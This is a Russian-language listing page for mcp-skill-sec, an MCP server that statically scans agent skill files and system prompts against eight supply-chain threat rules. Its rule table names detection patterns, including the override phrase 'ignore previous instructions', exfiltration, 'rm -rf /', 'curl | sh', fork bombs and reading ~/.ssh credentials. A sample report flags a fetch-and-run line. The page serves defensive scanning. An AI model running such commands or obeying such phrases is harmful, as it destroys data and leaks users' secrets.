Skip to main content
Glama
sudo-ai-git

mcp-skill-sec

mcp-skill-sec

Сервер Model Context Protocol (MCP), который проверяет любой агентский навык, системный промпт или скачанную коллекцию файлов на соответствие 8 паттернам вредоносных навыков в цепочке поставок.

Детерминированный, без LLM, без сетевых вызовов — сканер для проверки перед установкой, который можно запускать у себя и который работает с Claude Code, Cursor, Copilot, OpenClaw, Codex CLI и любым MCP-совместимым агентом.

Что он проверяет (правила R1–R8)

Правило

Паттерн

R1

Инъекция в промпт / перехват инструкций (ignore previous instructions, директивы о секретности, переопределения личности)

R2

Намерение экфильтрации данных (отправка/публикация/пересылка содержимого на URL, кража логов)

R3

Захардкоженные секреты / учётные данные (API-ключи, PAT, приватные ключи, строки подключения)

R4

Опасные команды (rm -rf /, curl | sh, fork-бомбы, запись на raw-устройства)

R5

Обфускация / скрытое поведение (base64-exec, eval/exec, символы нулевой ширины)

R6

Недоверенные внешние загрузки (fetch-and-run, установка не из PyPI)

R7

Доступ к учётным данным (чтение ~/.ssh, .aws/credentials, .env)

R8

Повышение привилегий (sudo -s, setuid, добавление в группу sudo)

Каждая находка содержит severity (critical/high/medium/low), номер строки и соответствующую строку-доказательство. Общий вердикт — PASS — выносится только когда нет находок уровня critical/high и каждая находка уровня medium безвредна.

Related MCP server: tar-engine

Инструменты

  • audit_text(text, filename) — проверяет строку (навык, который вам вставили, системный промпт, который вы не писали).

  • audit_skill_file(path) — проверяет SKILL.md / AGENTS.md / CLAUDE.md на диске; возвращает доказательства с номерами строк.

  • audit_directory(path, pattern) — проверяет всю скачанную коллекцию навыков; возвращает вердикты по каждому файлу и сводку.

  • rule_list() — выводит каталог правил.

Установка и запуск

pip install mcp
mcp install mcp_server.py  --name skill-sec          # register with Claude Desktop
# or run manually over stdio:
python3 mcp_server.py

Claude Desktop / конфигурация агента

{
  "mcpServers": {
    "skill-sec": {
      "command": "python3",
      "args": ["/absolute/path/to/mcp_server.py"]
    }
  }
}

Пример

skill-sec: /tmp/downloaded-skill/SKILL.md
  verdict : FLAG
  counts  : critical 1, high 2, medium 1, low 0
  R3 [critical] line 11: api_key = "sk-live-…"
  R3 [high]     line 14: password = "hunter2"
  R4 [critical] line 22: curl https://x/y.sh | sh
  action : remove the literal secrets, drop the fetch-and-run, re-audit

Лицензия и происхождение

MIT. Автор — sudo-ai-git. Это автономный инструмент безопасности/верификации; в нём не заложено проприетарных методов. Это MCP-воплощение агентского навыка skill-sec (те же правила, вызывается как сервер вместо навыка).

Метаданные официального реестра MCP

mcp-name: io.github.sudo-ai-git/mcp-skill-sec

Related MCP Connectors

Related MCP Servers

  • A
    license
    Not graded
    quality
    D
    maintenance
    Static security scanner for AI agent skill packages that detects malicious SKILL.md files and bundled scripts before they run.
    15
    MIT
  • A
    license
    Not graded
    quality
    C
    maintenance
    Audits AI agent skills for safety using static, semantic, adversarial, and supply-chain analysis, providing scores and risk flags. Can be run via CLI, CI, or as an MCP tool from Claude Code, Cursor, and Codex.
    2
    Apache 2.0
  • A
    license
    Not graded
    quality
    C
    maintenance
    Enables authorized security auditing of AI-agent supply chains and agent-facing surfaces: deterministic local skill-bundle audits against eight attack patterns, secrets scanning, and scope-gated read-only recon of agent endpoints and MCP surfaces.
    MIT
  • A
    license
    Not graded
    quality
    B
    maintenance
    Provides a deterministic pre-install security scan for Agent skills, plugins, and MCP servers via stdio, returning verdicts, audited badges, CI gates, and reports without executing code or making network calls.
    99 npm
    MIT